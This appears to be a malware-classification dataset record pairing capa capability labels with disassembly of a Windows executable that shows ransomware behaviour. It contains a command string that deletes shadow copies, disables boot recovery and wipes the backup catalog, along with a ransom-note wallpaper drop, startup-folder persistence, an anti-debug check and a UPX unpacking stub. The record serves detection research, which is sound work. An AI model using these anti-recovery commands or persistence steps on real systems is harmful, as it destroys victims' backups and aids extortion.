joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40eec0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x451f50
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x46c074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0041bb7b
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0041a5de
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x410a40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
push edi
mov edi, ecx
mov eax, dword [edi]
cmp eax, 0x270
jne 0x410a8e
lea edx, [edi + 8]
mov esi, eax
mov ecx, dword [edx - 4]
lea edx, [edx + 4]
xor ecx, dword [edx - 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub esi, 1
jne 0x410a52
jmp 0x410b54
cmp eax, 0x4e0
jb 0x410b54
push ebx
lea esi, [edi + 0x9c4]
mov ebx, 0xe3
mov ecx, dword [esi + 4]
lea esi, [esi + 4]
xor ecx, dword [esi - 4]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x630]
xor eax, ecx
mov dword [esi - 0x9c4], eax
sub ebx, 1
jne 0x410aa5
lea esi, [edi + 0xd50]
mov ebx, 0x18c
mov ecx, dword [esi]
lea esi, [esi + 4]
xor ecx, dword [esi]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
sub ebx, 1
jne 0x410ae7
mov ecx, dword [edi + 0x1380]
xor ecx, dword [edi + 4]
and ecx, 0x7fffffff
xor ecx, dword [edi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi + 0x9c0], eax
mov dword [edi], ebx
pop ebx
mov eax, dword [edi]
mov edx, dword [edi + eax*4 + 4]
inc eax
mov dword [edi], eax
mov ecx, edx
mov eax, dword [edi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
ret
Function at 0x411a80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45248b
mov eax, dword fs:[0]
push eax
sub esp, 0x42c
mov eax, dword [0x46c074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x430], edi
cmp dword [edx + 0x14], 0x10
mov esi, dword [ebp + 8]
mov dword [ebp - 0x430], 0x400
jb 0x411aca
mov edx, dword [edx]
lea eax, [ebp - 0x434]
push eax
push 1
push 0
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411bb4
cmp dword [esi + 0x14], 0x10
jb 0x411af1
mov esi, dword [esi]
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x414]
push eax
push 0
push 0
push esi
push dword [ebp - 0x434]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x434]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x411bb4
mov eax, dword [ebp - 0x430]
cmp eax, 0x400
ja 0x411bb4
dec eax
mov dword [ebp - 0x41c], esi
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], 0xf
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 0x42c], 0
call fcn.00401eb0
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 0x41c]
test ecx, ecx
je 0x411b98
mov edx, dword [ebp - 0x418]
mov esi, dword [ebp - 0x42c]
nop dword [eax + eax]
cmp edx, 0x10
lea eax, [ebp - 0x42c]
cmovae eax, esi
cmp byte [eax + ecx - 1], 0
jne 0x411b98
sub ecx, 1
jne 0x411b80
push ecx
push 0
push edi
lea ecx, [ebp - 0x42c]
call fcn.004036f0
lea ecx, [ebp - 0x42c]
call fcn.00401ae0
jmp 0x411bc5
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret

Function at 0x411bf0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
mov eax, dword [0x46c074]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call fcn.00433c30
add esp, 0xc
mov dword [ebp - 0x2d0], 0x10010
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
je 0x411c5f
cmp dword [ebp - 0x2cc], 0
jne 0x411c6d
cmp dword [ebp - 0x2c8], 0
jne 0x411c6d
cmp dword [ebp - 0x2c4], 0
jne 0x411c6d
cmp dword [ebp - 0x2c0], 0
jne 0x411c6d
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret
push 0
call fcn.0043965d
int3
Function at 0x411c80
Capabilities:
Create process on windows
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x46c074]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00411bf0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x3c
push eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], str.runas
mov dword [ebp - 0x30], str.cmd.exe
mov dword [ebp - 0x2c], str._C_vssadmin.exe_delete_shadows__all__quiet__wmic.exe_shadowcopy_delete__bcdedit__set_default_bootstatuspolicy_ignoreallfailures__bcdedit__set_default_recoveryenabled_no__wbadmin_delete_catalog__quiet
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x411ce7
call fcn.00411c80
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret
Function at 0x411d70
Capabilities:
Create shortcut via ishelllink
Get common file path
Get startup folder
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4524c8
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x46c074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
test eax, eax
je 0x411db5
push 0
call fcn.0043965d
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x224]
mov dword [ebp - 0x224], 0
push eax
push 0x4543a0
push 0x17
push 0
push 0x4543c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [0x478c70]
mov esi, eax
push esi
mov edx, dword [ecx + 4]
add edx, 0x478c84
mov ecx, dword [edx]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [edx], ecx
mov ecx, 0x478c70
call fcn.00413e90
push eax
call fcn.00415870
add esp, 4
test esi, esi
js 0x411f4f
mov eax, dword [ebp - 0x224]
lea edx, [ebp - 0x220]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x224]
lea edx, [ebp - 0x228]
push edx
push 0x4543b0
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x411f4f
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [ebp - 0x118]
push 0
push 7
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x460de4
lea eax, [ebp - 0x118]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x118]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [ebp - 0x118]
push str..lnk
push 0x104
push eax
call fcn.0043b31c
lea edi, [ebp - 0x118]
add esp, 0xc
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x411ef0
sub edi, ecx
mov edx, 2
inc edi
xor ecx, ecx
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041bf43
add esp, 4
mov esi, eax
lea eax, [ebp - 0x118]
push edi
push eax
push esi
call fcn.0043b15b
mov ecx, dword [ebp - 0x228]
add esp, 0xc
mov edx, dword [ecx]
push 1
push esi
push ecx
call dword [edx + 0x18]
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x224]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp + 8]
call fcn.00401ae0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret
Function at 0x411f80
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x46c074]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [ebp - 0x108]
push 0
push 0x10
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.DECRYPT_MY_FILES.BMP
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.0043b31c
lea eax, [ebp - 0x108]
push 0x463350
push eax
call fcn.0043aee6
mov esi, eax
push esi
push 0x9fdf
push 1
push 0x46ca90
call fcn.0043a67a
push esi
call fcn.004399fd
add esp, 0x28
lea eax, [ebp - 0x108]
push 1
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret
Function at 0x415f50
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x46c074]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov byte [esi], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0x67452301
mov dword [esi + 0x50], 0xefcdab89
mov dword [esi + 0x54], 0x98badcfe
mov dword [esi + 0x58], 0x10325476
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x415f9e
mov eax, dword [eax]
push ecx
push eax
mov ecx, esi
call fcn.00416790
cmp byte [esi], 0
jne 0x416065
xor edx, edx
lea ecx, [esi + 0x46]
movzx eax, byte [ecx - 2]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0xc], al
movzx eax, byte [ecx - 5]
mov byte [ebp + edx - 0xb], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0xa], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 9], al
add edx, 4
cmp edx, 8
jb 0x415fb5
mov edx, dword [esi + 0x44]
mov ecx, 0x38
shr edx, 3
mov eax, 0x78
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
push edi
cmovb eax, ecx
mov ecx, esi
push eax
push 0x476ab8
call fcn.00416790
push 8
lea eax, [ebp - 0xc]
mov ecx, esi
push eax
call fcn.00416790
lea edx, [esi + 0x5d]
mov edi, 4
lea eax, [esi + 0x4e]
movzx ecx, byte [eax - 2]
lea eax, [eax + 4]
mov byte [edx - 1], cl
lea edx, [edx + 4]
movzx ecx, byte [eax - 5]
mov byte [edx - 4], cl
movzx ecx, byte [eax - 4]
mov byte [edx - 3], cl
movzx ecx, byte [eax - 3]
mov byte [edx - 2], cl
sub edi, 1
jne 0x416023
push 0x40
lea ecx, [esi + 1]
push edi
push ecx
call fcn.00433c30
add esp, 0xc
xorps xmm0, xmm0
movq qword [esi + 0x44], xmm0
mov byte [esi], 1
pop edi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret 4
Function at 0x417c20
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x24], ecx
jle 0x417e0c
mov eax, dword [ebp + 8]
push ebx
push esi
add eax, 2
push edi
nop
xor esi, esi
movzx edx, byte [eax - 2]
movzx ecx, byte [eax - 1]
shl edx, 8
or edx, ecx
movzx ecx, byte [eax]
shl edx, 8
or edx, ecx
movzx ecx, byte [eax + 1]
shl edx, 8
add eax, 4
or edx, ecx
mov dword [ebp + esi*4 - 0x12c], edx
inc esi
cmp esi, 0x10
jl 0x417c42
mov dword [ebp - 0x28], eax
lea ebx, [ebp - 0xf4]
mov eax, 0x30
nop
mov edx, dword [ebx - 0x34]
lea ebx, [ebx + 4]
mov esi, dword [ebx - 4]
mov edi, edx
mov ecx, edx
rol edi, 0xe
ror ecx, 7
xor edi, ecx
shr edx, 3
xor edi, edx
mov ecx, esi
mov edx, esi
rol ecx, 0xd
rol edx, 0xf
xor edx, ecx
shr esi, 0xa
xor edx, esi
add edi, edx
add edi, dword [ebx - 0x3c]
add edi, dword [ebx - 0x18]
mov dword [ebx + 4], edi
sub eax, 1
jne 0x417c80
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x14], 0
mov eax, dword [ebx + 0x88]
mov esi, eax
mov ecx, dword [ebx + 0x8c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebx + 0x90]
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x94]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 0x9c]
mov dword [ebp - 8], eax
mov eax, dword [ebx + 0xa0]
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0xa4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebx + 0x98]
mov ebx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], ecx
mov edi, ebx
ror esi, 0xd
ror edi, 0xb
mov ecx, ebx
rol ecx, 7
mov edx, ebx
xor edi, ecx
not edx
and edx, dword [ebp - 0xc]
mov ecx, ebx
ror ecx, 6
xor edi, ecx
mov ecx, dword [ebp - 8]
and ecx, ebx
xor edx, ecx
mov ecx, dword [ebp - 0x14]
add edi, edx
add edi, dword [ecx + 0x4635e8]
add edi, dword [ebp + ecx - 0x12c]
mov ecx, dword [ebp - 4]
add edi, dword [ebp - 0x20]
rol ecx, 0xa
xor esi, ecx
mov ecx, dword [ebp - 4]
ror ecx, 2
xor esi, ecx
mov ecx, dword [ebp - 0x10]
mov edx, ecx
and ecx, dword [ebp + 8]
xor edx, dword [ebp + 8]
and edx, dword [ebp - 4]
xor edx, ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
add esi, edx
mov ecx, dword [ebp - 8]
add esi, edi
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
add ebx, edi
mov ecx, dword [ebp - 0x10]
mov dword [ebp + 8], ecx
mov ecx, dword [ebp - 0x14]
add ecx, 4
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], ecx
cmp ecx, 0x100
jl 0x417d17
mov ecx, dword [ebp - 0x2c]
add ecx, esi
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x24]
mov dword [ebx + 0x88], ecx
mov ecx, dword [ebp + 8]
add dword [ebx + 0x90], ecx
mov ecx, dword [ebp - 0x18]
add dword [ebx + 0x94], ecx
mov ecx, dword [ebp - 0x1c]
add dword [ebx + 0x98], ecx
mov ecx, dword [ebp - 8]
add dword [ebx + 0x9c], ecx
mov ecx, dword [ebp - 0xc]
add dword [ebx + 0xa0], ecx
mov ecx, dword [ebp - 0x20]
add dword [ebx + 0x8c], edx
add dword [ebx + 0xa4], ecx
sub dword [ebp + 0xc], 1
jne 0x417c40
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x418c70
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4524c8
mov eax, dword fs:[0]
push eax
sub esp, 0x21c
mov eax, dword [0x46c074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x224], ebx
push 0x40
lea eax, [ebp - 0x50]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x148
push 0
push eax
call fcn.00433c30
add esp, 0xc
mov dword [ebp - 0x118], 0xf3bcc908
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x114], 0x6a09e667
cmovae eax, dword [ebp + 8]
push dword [ebp + 0x18]
mov dword [ebp - 0x110], 0x84caa73b
push eax
mov dword [ebp - 0x10c], 0xbb67ae85
mov dword [ebp - 0x108], 0xfe94f82b
mov dword [ebp - 0x104], 0x3c6ef372
mov dword [ebp - 0x100], 0x5f1d36f1
mov dword [ebp - 0xfc], 0xa54ff53a
mov dword [ebp - 0xf8], 0xade682d1
mov dword [ebp - 0xf4], 0x510e527f
mov dword [ebp - 0xf0], 0x2b3e6c1f
mov dword [ebp - 0xec], 0x9b05688c
mov dword [ebp - 0xe8], 0xfb41bd6b
mov dword [ebp - 0xe4], 0x1f83d9ab
mov dword [ebp - 0xe0], 0x137e2179
mov dword [ebp - 0xdc], 0x5be0cd19
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x220], 0
call fcn.004186e0
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x220]
call fcn.00418790
mov byte [ebp - 0x58], 0
lea edi, [ebp - 0xd8]
xor esi, esi
nop dword [eax]
movzx eax, byte [ebp + esi - 0x50]
push eax
push str._02x
push edi
call fcn.00415f30
inc esi
add esp, 0xc
add edi, 2
cmp esi, 0x40
jb 0x418dc0
lea ecx, [ebp - 0xd8]
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [ebx], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418df7
sub ecx, edx
lea eax, [ebp - 0xd8]
push ecx
push eax
mov ecx, ebx
call fcn.00401eb0
mov eax, dword [ebp + 0x1c]
cmp eax, 0x10
jb 0x418e45
mov ecx, dword [ebp + 8]
inc eax
cmp eax, 0x1000
jb 0x418e3c
test cl, 0x1f
jne 0x418e63
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x418e63
sub ecx, eax
cmp ecx, 4
jb 0x418e63
cmp ecx, 0x23
ja 0x418e63
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret
call fcn.00437255
int3
Function at 0x41c63f
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x468f58
call fcn.0041c920
push 1
call fcn.0041bd0b
pop ecx
test al, al
jne 0x41c4f6
push 7
call fcn.0041cb2a
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0041bcd6
mov byte [ebp - 0x24], al
mov eax, dword [0x478e80]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x41c4ef
test eax, eax
jne 0x41c560
mov dword [0x478e80], ecx
push 0x454370
push 0x45434c
call fcn.0043db25
pop ecx
pop ecx
test eax, eax
je 0x41c543
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x41c639
push 0x454348
push 0x4542d0
call fcn.0043dac9
pop ecx
pop ecx
mov dword [0x478e80], 2
jmp 0x41c565
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0041be78
pop ecx
call fcn.0041cdd2
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x41c595
push esi
call fcn.0041bdee
pop ecx
test al, al
je 0x41c595
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.0041c657
call esi
call fcn.0041cdd8
mov esi, eax
cmp dword [esi], edi
je 0x41c5b3
push esi
call fcn.0041bdee
pop ecx
test al, al
je 0x41c5b3
push dword [esi]
call fcn.00439625
pop ecx
call fcn.0041cc46
movzx eax, ax
push eax
call fcn.0043da83
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00439534
test al, al
jne 0x41c5de
push esi
call fcn.0043965d
test bl, bl
jne 0x41c5e7
call fcn.00439600
push edi
push 1
call fcn.0041be95
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x41c639
call fcn.0041c966
ret
call fcn.0041cd1d
jmp 0x41c4d7

Function at 0x41e96d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret

Function at 0x435498
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x4574dc
push 0x4574d4
push str.FlsAlloc
push 0
call fcn.00435418
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4354ca
push dword [ebp + 8]
mov ecx, esi
call fcn.0041c657
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.DLL_TlsAlloc]

Function at 0x43550c
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x4574ec
push 0x4574e4
push str.FlsGetValue
push 2
call fcn.00435418
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x43553d
mov ecx, esi
call fcn.0041c657
call esi
jmp 0x435543
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x435546
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x4574f4
push 0x4574ec
push str.FlsSetValue
push 3
call fcn.00435418
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x43557a
mov ecx, esi
call fcn.0041c657
call esi
jmp 0x435580
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
pop esi
pop ebp
ret

Function at 0x443221
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004430a0
Function at 0x448599
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00448259

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130